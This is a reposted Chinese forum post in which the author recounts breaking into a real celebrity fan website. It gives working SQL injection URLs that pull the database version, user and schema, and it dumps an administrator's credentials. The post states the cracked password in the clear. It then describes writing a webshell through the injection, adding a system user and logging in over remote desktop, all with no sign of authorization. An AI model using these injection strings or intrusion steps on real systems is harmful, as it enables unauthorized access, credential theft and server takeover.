[转帖]检测周杰伦官方网站

某日在cn群里聊天，有朋友丢出一个jay官方网站的注入点，闲着无聊就测试了下。没想到最后轻松的得到了系统权限。在取得webshell过程中遇到点困难，也学到了一点东西。
看注射点，老规矩，先提交个单引号，


错误提示是
you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near ''' at line 1
这个提示是很有玄机的，可以看到单引号没有转意，也就是说安全模式没有打开，这为我们后文得到webshell提供了机会。
     下面猜字段吧，体力活的说
http://www.jay2u.com/jaynews/index.php?action=newsview&newsid=660%20%20and%201=2%20union%20select%201,2,3,4


很轻松的猜出是四个字段。然后还是按部就班的看用户和权限
http://www.jay2u.com/jaynews/index.php?action=newsview&newsid=660%20%20and%201=2%20union%20select%201,2,3,version()

http://www.jay2u.com/jaynews/index.php?action=newsview&newsid=660%20%20and%201=2%20union%20select%201,2,3,user()

oh yeah  是mysql5的root权限，看到这里我觉得服务器拿下应该问题不大了。
和mssql、oracle、db2等数据库一样，mysql5提供了一个系统数据库：information_schema
在这个数据库里我们可以得到很多信息，包括当前用户权限、当前用户权限下可以访问的数据库、表、列名，因此在sql注射中，导致直接暴区数据库，表列名
开始操作，提交
http://www.jay2u.com/jaynews/index.php?action=newsview&newsid=660%20%20and%201=2%20union%20select%201,table_schema,table_name,column_name%20%20from%20information_schema.statistics/*
貌似没有出现想象中的效果

提示
illegal mix of collations (latin1_swedish_ci,implicit) and (utf8_general_ci,implicit) for operation 'union'
看来是union 前后字符集不搭配，只好编码一下了，提交
http://www.jay2u.com/jaynews/index.php?action=newsview&newsid=660%20%20and%201=2%20union%20select%201,hex(table_schema),hex(table_name),hex(column_name)%20%20from%20information_schema.statistics/*


这次正常了，连上我自己的mysql，将16进制的编码还原
mysql> select 0x6a6179776562;
+----------------+
| 0x6a6179776562 |
+----------------+
| jayweb         |
+----------------+
1 row in set (0.00 sec)
mysql> select 0x41646d696e5f4964;
+--------------------+
| 0x41646d696e5f4964 |
+--------------------+
| admin_id           |
+--------------------+
1 row in set (0.00 sec)
mysql> select 0x61646d696e;
+--------------+
| 0x61646d696e |
+--------------+
| admin         |
+--------------+
1 row in set (0.00 sec)
这里表名出来了，是admin，但是没有暴出密码字段名，我们可以通过使用limit语法逐个表和字段查询，但是数据库很多表的话，不晓得什么时候才能摸清楚。刚好网站上有个phpbb的论坛，还是通过跨库查论坛数据库吧。
看了下，管理员有一个admin一个webmater，看样子webmater比较活跃，就查他的密码了。
提交
http://www.jay2u.com/jaynews/index.php?action=newsview&newsid=660%20%20and%201=2%20union%20select%201,2,username,user_password%20%20from%20phpbb_users%20where%20user_id=66333



到www.cmd5.com上查询出来密码是 ：042990
登陆后台去参观下吧 ：）

在后台琢磨了半天，尝试了添加上传类型等办法都没能得到webshell，难道只能渗透到这个程度吗？
喝杯水冷静了下，想起来我已经知道它的安全模式是关闭的而且我们有足够的权限，这意味着什么？嘿嘿，只要知道路径就能通过注射导出一个webshell。现在的问题就是得到路径了，利用uploadpic.php中getimagesize()函数的小bug，先在后台添加上传类型 text/asa，然后到前台传图片的地方传个asa文件，这个函数无法读取起大小，暴出错误时泄露了绝对路径
面最辉煌的时刻终于要到来了，构造导出webshell的语句成功了！！

用客户端连上，传了个大马

由于编码问题看着有点乱，一样使用，执行命令看看

好象服务器的php是系统权限的，添加了一个用户

连上3389参观下闪人

什么啊.我都看不懂.

部长;你发这个你懂点吗?我还没看;我可能会懂一点;呵呵;但我还没看,一看可能会懂的;

学长真认识弄了这么多教程